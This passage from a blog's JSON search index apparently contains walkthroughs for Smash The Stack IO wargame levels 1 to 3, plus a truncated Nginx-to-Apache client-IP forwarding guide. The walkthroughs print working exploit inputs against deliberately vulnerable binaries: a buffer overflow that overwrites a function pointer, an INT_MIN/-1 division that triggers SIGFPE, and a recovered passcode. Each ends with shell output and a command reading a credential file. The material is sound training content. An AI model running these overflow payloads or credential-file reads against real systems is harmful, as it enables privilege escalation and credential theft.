Address in little-endian format: \\x74\\x84\\x04\\x08.\nNext, set a breakpoint after memcpy (0x08048530) to inspect stack layout:\n(gdb) b *0x08048530 (gdb) r $(python -c \u0026#34;print \u0026#39;A\u0026#39; * 60\u0026#34;) (gdb) x/32wx $esp Looking at memory relative to buffer:\nbuffer starts at -0x58(%ebp). functionpointer resides at -0xc(%ebp). Difference: 0x58 - 0x0c = 0x4c = 76 bytes. 76 bytes of padding are required before the 4-byte address overwrite.\nExploitation Craft the payload: 76 * 'A' + 0x08048474:\nlevel3@io:/levels$ ./level03 $(python -c \u0026#34;print \u0026#39;A\u0026#39; * 76 + \u0026#39;\\x74\\x84\\x04\\x08\u0026#39;\u0026#34;) This is exciting we\u0026#39;re going to 0x8048474 Win. sh-4.2$ whoami level4 sh-4.2$ cat /home/level4/.pass The function pointer is hijacked, invoking good() and dropping into the level4 shell.\n","permalink":"/smash-the-stack-level3/","summary":"\u003cp\u003eIn Level 3 of the Smash The Stack IO wargame, passing a large argument quickly causes a segmentation fault:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel3@io:/levels$ ./level03 \u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003epython -c \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;print \u0026#39;A\u0026#39; * 1000\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSegmentation fault\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"analyzing-the-source-code\"\u003eAnalyzing the Source Code\u003c/h3\u003e\n\u003cp\u003eThe source file \u003ccode\u003elevel03.c\u003c/code\u003e is provided in \u003ccode\u003e/levels\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003egood\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eputs\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Win.\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eexecl\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/bin/sh\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;sh\u0026#34;\u003c/span\u003e, NULL);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ebad\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;I\u0026#39;m so sorry, you\u0026#39;re at %p and you want to be at %p\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, bad, good);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e argc, \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003eargv, \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e**\u003c/span\u003eenvp)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003efunctionpointer)(\u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e bad;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e buffer[\u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (argc \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(argv[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003ememcpy\u003c/span\u003e(buffer, argv[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e], \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(argv[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003ememset\u003c/span\u003e(buffer, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003estrlen\u003c/span\u003e(argv[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]) \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;This is exciting we\u0026#39;re going to %p\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, functionpointer);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efunctionpointer\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"vulnerability-analysis\"\u003eVulnerability Analysis\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eTarget Function\u003c/strong\u003e: \u003ccode\u003egood()\u003c/code\u003e spawns a privileged shell via \u003ccode\u003eexecl(\u0026quot;/bin/sh\u0026quot;, ...)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBuffer and Function Pointer\u003c/strong\u003e: \u003ccode\u003emain()\u003c/code\u003e allocates a 50-byte buffer (\u003ccode\u003echar buffer[50]\u003c/code\u003e) and initializes a function pointer pointing to \u003ccode\u003ebad()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUnbounded Copy\u003c/strong\u003e: \u003ccode\u003ememcpy(buffer, argv[1], strlen(argv[1]))\u003c/code\u003e copies the entire input into \u003ccode\u003ebuffer\u003c/code\u003e without checking against its 50-byte bound.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePartial Clear\u003c/strong\u003e: \u003ccode\u003ememset(buffer, 0, strlen(argv[1]) - 4)\u003c/code\u003e zeroes out \u003ccode\u003ebuffer\u003c/code\u003e up to \u003ccode\u003estrlen(argv[1]) - 4\u003c/code\u003e. The last 4 bytes of our input remain untouched in memory.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eExecution\u003c/strong\u003e: The program invokes \u003ccode\u003efunctionpointer()\u003c/code\u003e. If we overflow \u003ccode\u003ebuffer\u003c/code\u003e such that the trailing 4 bytes align precisely over \u003ccode\u003efunctionpointer\u003c/code\u003e, we redirect execution to \u003ccode\u003egood()\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"finding-addresses-and-offset-in-gdb\"\u003eFinding Addresses and Offset in GDB\u003c/h3\u003e\n\u003cp\u003eDisassemble and locate the address of \u003ccode\u003egood()\u003c/code\u003e:\u003c/p\u003e","title":"Smash The Stack: IO Level 3 Walkthrough"},{"content":"In Level 2 of the Smash The Stack IO wargame, source code is provided directly in level02.c:\nlevel2@io:/levels$ cat level02.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;setjmp.h\u0026gt; void catcher(int a) { setresuid(geteuid(), geteuid(), geteuid()); printf(\u0026#34;WIN!\\n\u0026#34;); system(\u0026#34;/bin/sh\u0026#34;); exit(0); } int main(int argc, char **argv) { puts(\u0026#34;source code is available in level02.c\\n\u0026#34;); if (argc != 3 || !atoi(argv[2])) return 1; signal(SIGFPE, catcher); return abs(atoi(argv[1])) / atoi(argv[2]); } Analyzing the Code The Target (catcher): The catcher function sets the real, effective, and saved UID to the effective UID (geteuid()) and drops into /bin/sh. This triggers when the program receives a SIGFPE signal. Input Validation: The check if (argc != 3 || !atoi(argv[2])) ensures two arguments are passed and argv[2] does not evaluate to 0. This explicitly prevents standard division-by-zero errors. The Division: The function returns abs(atoi(argv[1])) / atoi(argv[2]). Understanding SIGFPE and Two\u0026rsquo;s Complement Overflow In C on 32-bit x86 systems, a signed 32-bit integer ranges from -2,147,483,648 (INT_MIN / 0x80000000) to +2,147,483,647 (INT_MAX / 0x7FFFFFFF).\nWhat happens if you divide INT_MIN by -1?\n$$\\frac{-2147483648}{-1} = +2147483648$$\nBecause +2147483648 cannot be represented in a 32-bit signed integer (it exceeds INT_MAX), the CPU generates an arithmetic overflow exception (division error). In Linux, the kernel translates this hardware fault into a SIGFPE (Floating-Point Exception) signal.\nFurthermore, abs(INT_MIN) cannot represent +2147483648, returning INT_MIN unchanged.\nExploitation We can pass INT_MIN (-2147483648) as argv[1] and -1 as argv[2]:\nlevel2@io:/levels$ ./level02 -2147483648 -1 source code is available in level02.c WIN! sh-4.2$ whoami level3 sh-4.2$ cat /home/level3/.pass The integer overflow raises SIGFPE, invoking catcher() and giving us a shell as level3.\n","permalink":"/smash-the-stack-level2/","summary":"\u003cp\u003eIn Level 2 of the Smash The Stack IO wargame, source code is provided directly in \u003ccode\u003elevel02.c\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel2@io:/levels$ cat level02.c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include \u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include \u0026lt;signal.h\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include \u0026lt;setjmp.h\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003evoid catcher\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eint a\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    setresuid\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003egeteuid\u003cspan style=\"color:#f92672\"\u003e()\u003c/span\u003e, geteuid\u003cspan style=\"color:#f92672\"\u003e()\u003c/span\u003e, geteuid\u003cspan style=\"color:#f92672\"\u003e())\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    printf\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;WIN!\\n\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    system\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/bin/sh\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    exit\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eint main\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eint argc, char **argv\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    puts\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;source code is available in level02.c\\n\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eargc !\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e !atoi\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eargv\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e2\u003cspan style=\"color:#f92672\"\u003e]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e 1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    signal\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSIGFPE, catcher\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e abs\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eatoi\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eargv\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e1\u003cspan style=\"color:#f92672\"\u003e]))\u003c/span\u003e / atoi\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eargv\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e2\u003cspan style=\"color:#f92672\"\u003e])\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"analyzing-the-code\"\u003eAnalyzing the Code\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eThe Target (\u003ccode\u003ecatcher\u003c/code\u003e)\u003c/strong\u003e: The \u003ccode\u003ecatcher\u003c/code\u003e function sets the real, effective, and saved UID to the effective UID (\u003ccode\u003egeteuid()\u003c/code\u003e) and drops into \u003ccode\u003e/bin/sh\u003c/code\u003e. This triggers when the program receives a \u003ccode\u003eSIGFPE\u003c/code\u003e signal.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eInput Validation\u003c/strong\u003e: The check \u003ccode\u003eif (argc != 3 || !atoi(argv[2]))\u003c/code\u003e ensures two arguments are passed and \u003ccode\u003eargv[2]\u003c/code\u003e does not evaluate to \u003ccode\u003e0\u003c/code\u003e. This explicitly prevents standard division-by-zero errors.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThe Division\u003c/strong\u003e: The function returns \u003ccode\u003eabs(atoi(argv[1])) / atoi(argv[2])\u003c/code\u003e.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"understanding-sigfpe-and-twos-complement-overflow\"\u003eUnderstanding \u003ccode\u003eSIGFPE\u003c/code\u003e and Two\u0026rsquo;s Complement Overflow\u003c/h3\u003e\n\u003cp\u003eIn C on 32-bit x86 systems, a signed 32-bit integer ranges from \u003ccode\u003e-2,147,483,648\u003c/code\u003e (\u003ccode\u003eINT_MIN\u003c/code\u003e / \u003ccode\u003e0x80000000\u003c/code\u003e) to \u003ccode\u003e+2,147,483,647\u003c/code\u003e (\u003ccode\u003eINT_MAX\u003c/code\u003e / \u003ccode\u003e0x7FFFFFFF\u003c/code\u003e).\u003c/p\u003e","title":"Smash The Stack: IO Level 2 Walkthrough"},{"content":"In this challenge on the Smash The Stack IO wargame, the binaries are located under /levels.\nLet\u0026rsquo;s inspect the target binary for Level 1:\nlevel1@io:/levels$ ls -alh level01 -r-sr-x--- 1 level2 level1 1.2K Jan 13 2014 level01 Notice the permissions: -r-sr-x--- with the SUID bit set for level2. Executing this binary successfully will spawn a process with level2 privileges.\nInitial Execution Running the program prompts for a passcode:\nlevel1@io:/levels$ ./level01 Enter the 3 digit passcode to enter: 838 Providing an arbitrary number exits silently with no output.\nStatic Inspection Before diving into dynamic analysis, inspect the printable strings in the binary:\nlevel1@io:/levels$ strings level01 Enter the 3 digit passcode to enter: Congrats you found it, now read the password for level2 from /home/level2/.pass /bin/sh The binary references a success message and spawns a shell via /bin/sh.\nDynamic Analysis with GDB Let\u0026rsquo;s disassemble main inside GDB:\nlevel1@io:/levels$ gdb -q level01 (gdb) disassemble main Dump of assembler code for function main: 0x08048080 \u0026lt;+0\u0026gt;: push $0x8049128 0x08048085 \u0026lt;+5\u0026gt;: call 0x804810f \u0026lt;puts\u0026gt; 0x0804808a \u0026lt;+10\u0026gt;: call 0x804809f \u0026lt;fscanf\u0026gt; 0x0804808f \u0026lt;+15\u0026gt;: cmp $0x10f,%eax 0x08048094 \u0026lt;+20\u0026gt;: je 0x80480dc \u0026lt;YouWin\u0026gt; 0x0804809a \u0026lt;+26\u0026gt;: call 0x8048103 \u0026lt;exit\u0026gt; End of assembler dump. Breaking down the assembly:\ncall \u0026lt;puts\u0026gt; prints the prompt. call \u0026lt;fscanf\u0026gt; reads user input into %eax. cmp $0x10f,%eax compares the input with immediate value 0x10f. je \u0026lt;YouWin\u0026gt; jumps to the winning function if equal. Convert the hexadecimal value 0x10f to decimal:\n\u0026gt;\u0026gt;\u0026gt; 0x10f 271 Verification \u0026amp; Exploitation Run the binary again with passcode 271:\nlevel1@io:/levels$ ./level01 Enter the 3 digit passcode to enter: 271 Congrats you found it, now read the password for level2 from /home/level2/.pass sh-4.2$ whoami level2 sh-4.2$ cat /home/level2/.pass We obtain the shell as level2 and retrieve the password for the next level.\n","permalink":"/smash-the-stack-level1/","summary":"\u003cp\u003eIn this challenge on the Smash The Stack IO wargame, the binaries are located under \u003ccode\u003e/levels\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s inspect the target binary for Level 1:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel1@io:/levels$ ls -alh level01\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-r-sr-x--- \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e level2 level1 1.2K Jan \u003cspan style=\"color:#ae81ff\"\u003e13\u003c/span\u003e  \u003cspan style=\"color:#ae81ff\"\u003e2014\u003c/span\u003e level01\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNotice the permissions: \u003ccode\u003e-r-sr-x---\u003c/code\u003e with the SUID bit set for \u003ccode\u003elevel2\u003c/code\u003e. Executing this binary successfully will spawn a process with \u003ccode\u003elevel2\u003c/code\u003e privileges.\u003c/p\u003e\n\u003ch3 id=\"initial-execution\"\u003eInitial Execution\u003c/h3\u003e\n\u003cp\u003eRunning the program prompts for a passcode:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel1@io:/levels$ ./level01\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEnter the \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e digit passcode to enter: \u003cspan style=\"color:#ae81ff\"\u003e838\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eProviding an arbitrary number exits silently with no output.\u003c/p\u003e","title":"Smash The Stack: IO Level 1 Walkthrough"},{"content":"A common high-performance web architecture deploys Nginx on the public frontend (port 80/443) to handle TLS termination, static asset caching, and request routing, reverse-proxying dynamic requests to an Apache backend (e.g., listening on port 8080 or localhost).\nHowever, without explicit header forwarding, Apache logs will show all incoming requests originating from 127.0.0.1 (the reverse proxy IP) rather than the client\u0026rsquo;s actual public IP. This disrupts geolocation, fraud detection, rate-limiting, and security audit trails.\n1. Nginx Reverse Proxy Configuration Configure Nginx to append the original client IP address and proxy metadata into standard HTTP request headers:\nserver { listen 80; server_name example.com; location / { proxy_pass http://127.0.0.1:8080; # Forward client connection headers proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } Reload Nginx to apply changes:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx 2. Apache Backend Configuration On the Apache backend, we must instruct the web server to trust the upstream proxy headers and rewrite the logged client IP.\nModern Apache (HTTPD 2.4+): mod_remoteip In modern Apache installations, the standard built-in module is mod_remoteip.\nEnable the module: sudo a2enmod remoteip Configure trusted proxy IPs in /etc/apache2/conf-available/remoteip.conf: \u0026lt;IfModule remoteip_module\u0026gt; RemoteIPHeader X-Forwarded-For RemoteIPTrustedProxy 127.0.0.1 ::1 \u0026lt;/IfModule\u0026gt; Enable the configuration and update Apache\u0026rsquo;s LogFormat directives in apache2.conf to use %a (client IP) instead of %h: LogFormat \u0026#34;%v:%p %a %l %u %t \\\u0026#34;%r\\\u0026#34; %\u0026gt;s %O \\\u0026#34;%{Referer}i\\\u0026#34; \\\u0026#34;%{User-Agent}i\\\u0026#34;\u0026#34; vhost_combined LogFormat \u0026#34;%a %l %u %t \\\u0026#34;%r\\\u0026#34; %\u0026gt;s %O \\\u0026#34;%{Referer}i\\\u0026#34; \\\u0026#34;%{User-Agent}i\\\u0026#34;\u0026#34; combined sudo a2enconf remoteip sudo systemctl restart apache2 Legacy Apache: mod_rpaf On older distributions (Apache 2.2 / Debian Wheezy / Ubuntu 12.04), mod_rpaf was commonly used:\nsudo apt-get install libapache2-mod-rpaf Configuration in /etc/apache2/mods-available/rpaf.conf:\n\u0026lt;IfModule rpaf_module\u0026gt; RPAFenable On RPAFsethostname On RPAFproxy_ips 127.0.0.1 RPAFheader X-Real-IP \u0026lt;/IfModule\u0026gt; Restart Apache to verify that your access logs now 